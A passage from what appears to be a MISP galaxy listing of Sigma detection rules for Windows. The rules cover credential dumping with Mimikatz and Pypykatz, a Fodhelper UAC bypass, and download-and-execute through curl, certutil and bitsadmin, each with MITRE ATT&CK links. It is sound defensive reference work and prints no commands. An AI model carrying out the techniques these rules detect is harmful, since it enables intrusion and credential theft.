https://lolbas-project.github.io/lolbas/OtherMSBinaries/Vshadow/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vshadow_exec.yml

Hacktool Execution - PE Metadata

Detects the execution of different Windows based hacktools via PE metadata (company, product, etc.) even if the files have been renamed

The tag is: *misp-galaxy:sigma-rules="Hacktool Execution - PE Metadata"*

View relationships graph

Hacktool Execution - PE Metadata has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Tool - T1588.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="OS Credential Dumping - T1003" with estimative-language:likelihood-probability="almost-certain"

Table 15760. Table References

Links

https://www.virustotal.com/gui/search/metadata%253ACube0x0/files
https://github.com/cube0x0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_execution_via_pe_metadata.yml

Suspicious CodePage Switch Via CHCP

Detects a code page switch in command line or batch scripts to a rare language

The tag is: *misp-galaxy:sigma-rules="Suspicious CodePage Switch Via CHCP"*

View relationships graph

Suspicious CodePage Switch Via CHCP has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15761. Table References

Links
https://twitter.com/cglyer/status/1183756892952248325
https://learn.microsoft.com/en-us/windows/win32/intl/code-page-identifiers
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_chcp_codepage_switch.yml

Bypass UAC via Fodhelper.exe

Identifies use of Fodhelper.exe to bypass User Account Control. Adversaries use this technique to execute privileged processes.

The tag is: *misp-galaxy:sigma-rules="Bypass UAC via Fodhelper.exe"*

View relationships graph

Bypass UAC via Fodhelper.exe has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15762. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/e491ce22-792f-11e9-8f5c-d46d6d62a49e.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1548.002/T1548.002.md

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_uac_bypass_fodhelper.yml

Suspicious Scheduled Task Name As GUID

Detects creation of a scheduled task with a GUID like name

The tag is: *misp-galaxy:sigma-rules="Suspicious Scheduled Task Name As GUID"*

View relationships graph

Suspicious Scheduled Task Name As GUID has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Scheduled Task - T1053.005" with estimative-language:likelihood-probability="almost-certain"

Table 15763. Table References

Links
https://thedfirreport.com/2022/10/31/follina-exploit-leads-to-domain-compromise/
https://thedfirreport.com/2022/02/21/qbot-and-zerologon-lead-to-full-domain-compromise/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_schtasks_guid_task_name.yml

HackTool - Pypykatz Credentials Dumping Activity

Detects the usage of "pypykatz" to obtain stored credentials. Adversaries may attempt to extract credential material from the Security Account Manager (SAM) database through Windows registry where the SAM database is stored

The tag is: *misp-galaxy:sigma-rules="HackTool - Pypykatz Credentials Dumping Activity"*

View relationships graph

HackTool - Pypykatz Credentials Dumping Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"

Table 15764. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1003.002/T1003.002.md#atomic-test-2---registry-parse-with-pypykatz
https://github.com/skelsec/pypykatz

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_pypykatz.yml

Potential PowerShell Command Line Obfuscation

Detects the PowerShell command lines with special characters

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Command Line Obfuscation"*

View relationships graph

Potential PowerShell Command Line Obfuscation has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15765. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=64
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_special_characters.yml

Regsvr32 Execution From Highly Suspicious Location

Detects execution of regsvr32 where the DLL is located in a highly suspicious locations

The tag is: *misp-galaxy:sigma-rules="Regsvr32 Execution From Highly Suspicious Location"*

View relationships graph

Regsvr32 Execution From Highly Suspicious Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15766. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_exec_path_2.yml

PUA - Nmap/Zenmap Execution

Detects usage of namp/zenmap. Adversaries may attempt to get a listing of services running on remote hosts, including those that may be vulnerable to remote software exploitation

The tag is: *misp-galaxy:sigma-rules="PUA - Nmap/Zenmap Execution"*

View relationships graph

PUA - Nmap/Zenmap Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Network Service Discovery - T1046" with estimative-language:likelihood-probability="almost-certain"

Table 15767. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1046/T1046.md#atomic-test-3---port-scan-nmap-for-windows
https://nmap.org/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_nmap_zenmap.yml

Potential Manage-bde.wsf Abuse To Proxy Execution

Detects potential abuse of the "manage-bde.wsf" script as a LOLBIN to proxy execution

The tag is: *misp-galaxy:sigma-rules="Potential Manage-bde.wsf Abuse To Proxy Execution"*

View relationships graph

Potential Manage-bde.wsf Abuse To Proxy Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Script Proxy Execution - T1216" with estimative-language:likelihood-probability="almost-certain"

Table 15768. Table References

Links
https://twitter.com/JohnLaTwC/status/1223292479270600706
https://lolbas-project.github.io/lolbas/Scripts/Manage-bde/
https://twitter.com/bohops/status/980659399495741441
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1216/T1216.md
https://gist.github.com/bohops/735edb7494fe1bd1010d67823842b712

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_manage_bde.yml

Suspicious Debugger Registration Cmdline

Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).

The tag is: *misp-galaxy:sigma-rules="Suspicious Debugger Registration Cmdline"*

View relationships graph

Suspicious Debugger Registration Cmdline has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Accessibility Features - T1546.008" with estimative-language:likelihood-probability="almost-certain"

Table 15769. Table References

Links
https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/
https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_registry_install_reg_debugger_backdoor.yml

ShimCache Flush

Detects actions that clear the local ShimCache and remove forensic evidence

The tag is: *misp-galaxy:sigma-rules="ShimCache Flush"*

View relationships graph

ShimCache Flush has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15770. Table References

Links
https://medium.com/@blueteamops/shimcache-flush-89daff28d15e
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_susp_shimcache_flush.yml

IIS WebServer Log Deletion via CommandLine Utilities

Detects attempts to delete Internet Information Services (IIS) log files via command line utilities, which is a common defense evasion technique used by attackers to cover their tracks. Threat actors often abuse vulnerabilities in web applications hosted on IIS servers to gain initial access and later delete IIS logs to evade detection.

The tag is: *misp-galaxy:sigma-rules="IIS WebServer Log Deletion via CommandLine Utilities"*

View relationships graph

IIS WebServer Log Deletion via CommandLine Utilities has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 15771. Table References

Links
https://learn.microsoft.com/en-us/iis/manage/provisioning-and-managing-iis/managing-iis-log-file-storage
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_logs_deletion.yml

Disabled Volume Snapshots

Detects commands that temporarily turn off Volume Snapshots

The tag is: *misp-galaxy:sigma-rules="Disabled Volume Snapshots"*

View relationships graph

Disabled Volume Snapshots has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15772. Table References

Links
https://twitter.com/0gtweet/status/1354766164166115331
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_volsnap_disable.yml

New Capture Session Launched Via DXCap.EXE

Detects the execution of "DXCap.EXE" with the "-c" flag, which allows a user to launch any arbitrary binary or windows package through DXCap itself. This can be abused to potentially bypass

application whitelisting.

The tag is: *misp-galaxy:sigma-rules="New Capture Session Launched Via DXCap.EXE"*

View relationships graph

New Capture Session Launched Via DXCap.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15773. Table References

Links
https://twitter.com/harr0ey/status/992008180904419328
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Dxcap/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dxcap_arbitrary_binary_execution.yml

RunMRU Registry Key Deletion

Detects deletion of the RunMRU registry key, which stores the history of commands executed via the Run dialog. In the clickfix techniques, the phishing lures instruct users to open a run dialog through (Win + R) and execute malicious commands. Adversaries may delete this key to cover their tracks after executing commands.

The tag is: *misp-galaxy:sigma-rules="RunMRU Registry Key Deletion"*

View relationships graph

RunMRU Registry Key Deletion has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Clear Command History - T1070.003" with estimative-language:likelihood-probability="almost-certain"

Table 15774. Table References

Links
https://www.zscaler.com/blogs/security-research/coldriver-updates-arsenal-baitswitch-and-simplefix
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_delete_runmru.yml

Suspicious Registry Modification From ADS Via Regini.EXE

Detects the import of an alternate data stream with regini.exe, regini.exe can be used to modify registry keys.

The tag is: *misp-galaxy:sigma-rules="Suspicious Registry Modification From ADS Via Regini.EXE"*

View relationships graph

Suspicious Registry Modification From ADS Via Regini.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"

Table 15775. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/regini
https://gist.github.com/api0cradle/cdd2d0d0ec9abb686f0e89306e277b8f
https://lolbas-project.github.io/lolbas/Binaries/Regini/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regini_ads.yml

Command Line Execution with Suspicious URL and AppData Strings

Detects a suspicious command line execution that includes an URL and AppData string in the command line parameters as used by several droppers (js/vbs > powershell)

The tag is: *misp-galaxy:sigma-rules="Command Line Execution with Suspicious URL and AppData Strings"*

View relationships graph

Command Line Execution with Suspicious URL and AppData Strings has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Command Shell - T1059.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15776. Table References

Links
https://www.hybrid-analysis.com/sample/3a1f01206684410dbe8f1900bbeaaa543adfcd07368ba646b499fa5274b9edf6?environmentId=100
https://www.hybrid-analysis.com/sample/f16c729aad5c74f19784a24257236a8bbe27f7cdc4a89806031ec7f1bebbd475?environmentId=100

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_http_appdata.yml

Installation of WSL Kali-Linux

Detects installation of Kali Linux distribution through Windows Subsystem for Linux (WSL). Attackers may use Kali Linux WSL to leverage its penetration testing tools and capabilities for malicious purposes.

The tag is: *misp-galaxy:sigma-rules="Installation of WSL Kali-Linux"*

View relationships graph

Installation of WSL Kali-Linux has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15777. Table References

Links
https://learn.microsoft.com/en-us/windows/wsl/install
https://medium.com/@redfanatic7/running-kali-linux-on-windows-51ad95166e6e
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wsl_kali_linux_installation.yml

Unsigned AppX Installation Attempt Using Add-AppxPackage

Detects usage of the "Add-AppxPackage" or it's alias "Add-AppPackage" to install unsigned AppX packages

The tag is: *misp-galaxy:sigma-rules="Unsigned AppX Installation Attempt Using Add-AppxPackage"*

Table 15778. Table References

Links
https://learn.microsoft.com/en-us/windows/msix/package/unsigned-package
https://twitter.com/WindowsDocs/status/1620078135080325122
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_install_unsigned_appx_packages.yml

Curl Download And Execute Combination

Adversaries can use curl to download payloads remotely and execute them. Curl is included by default in Windows 10 build 17063 and later.

The tag is: *misp-galaxy:sigma-rules="Curl Download And Execute Combination"*

View relationships graph

Curl Download And Execute Combination has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15779. Table References

Links
https://medium.com/@reegun/curl-exe-is-the-new-rundll32-exe-lolbin-3f79c5f35983
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_curl_download_exec_combo.yml

Potential ShellDispatch.DLL Functionality Abuse

Detects potential "ShellDispatch.dll" functionality abuse to execute arbitrary binaries via "ShellExecute"

The tag is: *misp-galaxy:sigma-rules="Potential ShellDispatch.DLL Functionality Abuse"*

Table 15780. Table References

Links
https://www.hexacorn.com/blog/2023/06/07/this-lolbin-doesnt-exist/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_shelldispatch_potential_abuse.yml

PUA - Restic Backup Tool Execution

Detects the execution of the Restic backup tool, which can be used for data exfiltration. Threat actors may leverage Restic to back up and exfiltrate sensitive data to remote storage locations, including cloud services. If not legitimately used in the enterprise environment, its presence may indicate malicious activity.

The tag is: *misp-galaxy:sigma-rules="PUA - Restic Backup Tool Execution"*

View relationships graph

PUA - Restic Backup Tool Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1048" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration to Cloud Storage - T1567.002" with

estimative-language:likelihood-probability="almost-certain"

Table 15781. Table References

Links
https://restic.readthedocs.io/en/stable/030_preparing_a_new_repo.html
https://restic.net/
https://thedfirreport.com/2024/09/30/nitrogen-campaign-drops-sliver-and-ends-with-blackcat-ransomware/#exfiltration
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_restic.yml

Suspicious ClickFix/FileFix Execution Pattern

Detects suspicious execution patterns where users are tricked into running malicious commands via clipboard manipulation, either through the Windows Run dialog (ClickFix) or File Explorer address bar (FileFix). Attackers leverage social engineering campaigns—such as fake CAPTCHA challenges or urgent alerts—encouraging victims to paste clipboard contents, often executing mshta.exe, powershell.exe, or similar commands to infect systems.

The tag is: *misp-galaxy:sigma-rules="Suspicious ClickFix/FileFix Execution Pattern"*

View relationships graph

Suspicious ClickFix/FileFix Execution Pattern has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Malicious Link - T1204.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Malicious Copy and Paste - T1204.004" with estimative-language:likelihood-probability="almost-certain"

Table 15782. Table References

Links
https://www.scpx.com.au/2025/11/16/decades-old-finger-protocol-abused-in-clickfix-malware-attacks/
https://www.esentire.com/security-advisories/netsupport-rat-clickfix-distribution
https://www.zscaler.com/blogs/security-research/deepseek-lure-using-captchas-spread-malware
https://app.any.run/tasks/5c16b4db-4b36-4039-a0ed-9b09abff8be2
https://www.threatdown.com/blog/clipboard-hijacker-tries-to-install-a-trojan/
https://github.com/JohnHammond/recaptcha-phish
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_clickfix_filefix_execution.yml

Suspicious File Downloaded From Direct IP Via Certutil.EXE

Detects the execution of certutil with certain flags that allow the utility to download files from direct IPs.

The tag is: *misp-galaxy:sigma-rules="Suspicious File Downloaded From Direct IP Via Certutil.EXE"*

View relationships graph

Suspicious File Downloaded From Direct IP Via Certutil.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15783. Table References

Links
https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/certutil
https://twitter.com/egre55/status/1087685529016193025
https://news.sophos.com/en-us/2021/04/13/compromised-exchange-server-hosting-cryptojacker-targeting-other-exchange-servers/
https://twitter.com/_JohnHammond/status/1708910264261980634
https://www.hexacorn.com/blog/2020/08/23/certutil-one-more-gui-lolbin
https://lolbas-project.github.io/lolbas/Binaries/Certutil/
https://forensicitguy.github.io/agenttesla-vba-certutil-download/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certutil_download_direct_ip.yml

Cscript/Wscript Uncommon Script Extension Execution

Detects Wscript/Cscript executing a file with an uncommon (i.e. non-script) extension

The tag is: *misp-galaxy:sigma-rules="Cscript/Wscript Uncommon Script Extension Execution"*

View relationships graph

Cscript/Wscript Uncommon Script Extension Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="JavaScript - T1059.007" with estimative-

language:likelihood-probability="almost-certain"

Table 15784. Table References

Links
Internal Research[Internal Research]
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wscript_cscript_uncommon_extension_exec.yml

Potential Defense Evasion Via Rename Of Highly Relevant Binaries

Detects the execution of a renamed binary often used by attackers or malware leveraging new Sysmon OriginalFileName datapoint.

The tag is: *misp-galaxy:sigma-rules="Potential Defense Evasion Via Rename Of Highly Relevant Binaries"*

View relationships graph

Potential Defense Evasion Via Rename Of Highly Relevant Binaries has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15785. Table References

Links
https://twitter.com/christophetd/status/1164506034720952320
https://www.trendmicro.com/vinfo/hk-en/security/news/cybercrime-and-digital-threats/megacortex-ransomware-spotted-attacking-enterprise-networks
https://mgreen27.github.io/posts/2019/05/29/BinaryRename2.html
https://threatresearch.ext.hp.com/svcready-a-new-loader-reveals-itself/
https://mgreen27.github.io/posts/2019/05/12/BinaryRename.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant.yml

Application Removed Via Wmic.EXE

Detects the removal or uninstallation of an application via "Wmic.EXE".

The tag is: *misp-galaxy:sigma-rules="Application Removed Via Wmic.EXE"*

View relationships graph

Application Removed Via Wmic.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047" with estimative-language:likelihood-probability="almost-certain"

Table 15786. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1047/T1047.md#atomic-test-10---application-uninstall-using-wmic
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmic_uninstall_application.yml

Write Protect For Storage Disabled

Detects applications trying to modify the registry in order to disable any write-protect property for storage devices. This could be a precursor to a ransomware attack and has been an observed technique used by cypherpunk group.

The tag is: *misp-galaxy:sigma-rules="Write Protect For Storage Disabled"*

View relationships graph

Write Protect For Storage Disabled has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Impair Defenses - T1562" with estimative-language:likelihood-probability="almost-certain"

Table 15787. Table References

Links
https://www.manageengine.com/products/desktop-central/os-imaging-deployment/media-is-write-protected.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_write_protect_for_storage_disabled.yml

Execution of Powershell Script in Public Folder

This rule detects execution of PowerShell scripts located in the "C:\Users\Public" folder

The tag is: *misp-galaxy:sigma-rules="Execution of Powershell Script in Public Folder"*

View relationships graph

Execution of Powershell Script in Public Folder has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15788. Table References

Links
https://www.mandiant.com/resources/evolution-of-fin7
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_public_folder.yml

Potential Suspicious Windows Feature Enabled - ProcCreation

Detects usage of the built-in PowerShell cmdlet "Enable-WindowsOptionalFeature" used as a Deployment Image Servicing and Management tool. Similar to DISM.exe, this cmdlet is used to enumerate, install, uninstall, configure, and update features and packages in Windows images

The tag is: *misp-galaxy:sigma-rules="Potential Suspicious Windows Feature Enabled - ProcCreation"*

Table 15789. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/dism/enable-windowsoptionalfeature?view=windowsserver2022-ps
https://learn.microsoft.com/en-us/windows/win32/projfs/enabling-windows-projected-file-system
https://learn.microsoft.com/en-us/windows/wsl/install-on-server
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_enable_susp_windows_optional_feature.yml

File With Suspicious Extension Downloaded Via Bitsadmin

Detects usage of bitsadmin downloading a file with a suspicious extension

The tag is: *misp-galaxy:sigma-rules="File With Suspicious Extension Downloaded Via Bitsadmin"*

View relationships graph

File With Suspicious Extension Downloaded Via Bitsadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15790. Table References

Links

https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
https://isc.sans.edu/diary/22264
https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_susp_extensions.yml

Renamed CURL.EXE Execution

Detects the execution of a renamed "CURL.exe" binary based on the PE metadata fields

The tag is: *misp-galaxy:sigma-rules="Renamed CURL.EXE Execution"*

View relationships graph

Renamed CURL.EXE Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15791. Table References

Links
https://twitter.com/Kostastsale/status/1700965142828290260
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_renamed_curl.yml

Use NTFS Short Name in Image

Detect use of the Windows 8.3 short name. Which could be used as a method to avoid Image based detection

The tag is: *misp-galaxy:sigma-rules="Use NTFS Short Name in Image"*

View relationships graph

Use NTFS Short Name in Image has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15792. Table References

Links
https://www.acunetix.com/blog/articles/windows-short-8-3-filenames-web-security-problem/
https://twitter.com/jonasLyk/status/1555914501802921984

https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-2000-server/cc959352(v=technet.10)
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_ntfs_short_name_use_image.yml

Base64 Encoded PowerShell Command Detected

Detects usage of the "FromBase64String" function in the commandline which is used to decode a base64 encoded string

The tag is: *misp-galaxy:sigma-rules="Base64 Encoded PowerShell Command Detected"*

View relationships graph

Base64 Encoded PowerShell Command Detected has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Deobfuscate/Decode Files or Information - T1140" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15793. Table References

Links
https://gist.github.com/Neo23x0/6af876ee72b51676c82a2db8d2cd3639
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_frombase64string.yml

Potential Application Whitelisting Bypass via Dnx.EXE

Detects the execution of Dnx.EXE. The Dnx utility allows for the execution of C# code. Attackers might abuse this in order to bypass application whitelisting.

The tag is: *misp-galaxy:sigma-rules="Potential Application Whitelisting Bypass via Dnx.EXE"*

View relationships graph

Potential Application Whitelisting Bypass via Dnx.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Compile After Delivery - T1027.004" with estimative-language:likelihood-probability="almost-certain"

Table 15794. Table References

Links
https://enigma0x3.net/2016/11/17/bypassing-application-whitelisting-by-using-dnx-exe/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Csi/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dnx_execute_csharp_code.yml

HackTool - Mimikatz Execution

Detection well-known mimikatz command line arguments

The tag is: *misp-galaxy:sigma-rules="HackTool - Mimikatz Execution"*

View relationships graph

HackTool - Mimikatz Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Security Account Manager - T1003.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="LSA Secrets - T1003.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Cached Domain Credentials - T1003.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="DCSync - T1003.006" with estimative-language:likelihood-probability="almost-certain"

Table 15795. Table References

Links
https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment
https://tools.thehacker.recipes/mimikatz/modules
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_mimikatz_command_line.yml

Process Memory Dump Via Dotnet-Dump

Detects the execution of "dotnet-dump" with the "collect" flag. The execution could indicate potential process dumping of critical processes such as LSASS.

The tag is: *misp-galaxy:sigma-rules="Process Memory Dump Via Dotnet-Dump"*

View relationships graph

Process Memory Dump Via Dotnet-Dump has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15796. Table References

Links
https://learn.microsoft.com/en-us/dotnet/core/diagnostics/dotnet-dump#dotnet-dump-collect
https://twitter.com/bohops/status/1635288066909966338
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_dotnetdump_memory_dump.yml

Potential Download/Upload Activity Using Type Command

Detects usage of the "type" command to download/upload data from WebDAV server

The tag is: *misp-galaxy:sigma-rules="Potential Download/Upload Activity Using Type Command"*

View relationships graph

Potential Download/Upload Activity Using Type Command has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15797. Table References

Links
https://mr0range.com/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_type_arbitrary_file_download.yml

HackTool - KrbRelayUp Execution

Detects KrbRelayUp used to perform a universal no-fix local privilege escalation in Windows domain environments where LDAP signing is not enforced

The tag is: *misp-galaxy:sigma-rules="HackTool - KrbRelayUp Execution"*

View relationships graph

HackTool - KrbRelayUp Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Kerberoasting - T1558.003" with estimative-language:likelihood-probability="almost-certain"

- related-to: misp-galaxy:mitre-attack-pattern="Pass the Ticket - T1550.003" with estimative-language:likelihood-probability="almost-certain"

Table 15798. Table References

Links
https://github.com/Dec0ne/KrbRelayUp
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_krbrelayup.yml

Stop Windows Service Via Sc.EXE

Detects the stopping of a Windows service via the "sc.exe" utility

The tag is: *misp-galaxy:sigma-rules="Stop Windows Service Via Sc.EXE"*

View relationships graph

Stop Windows Service Via Sc.EXE has relationships with:

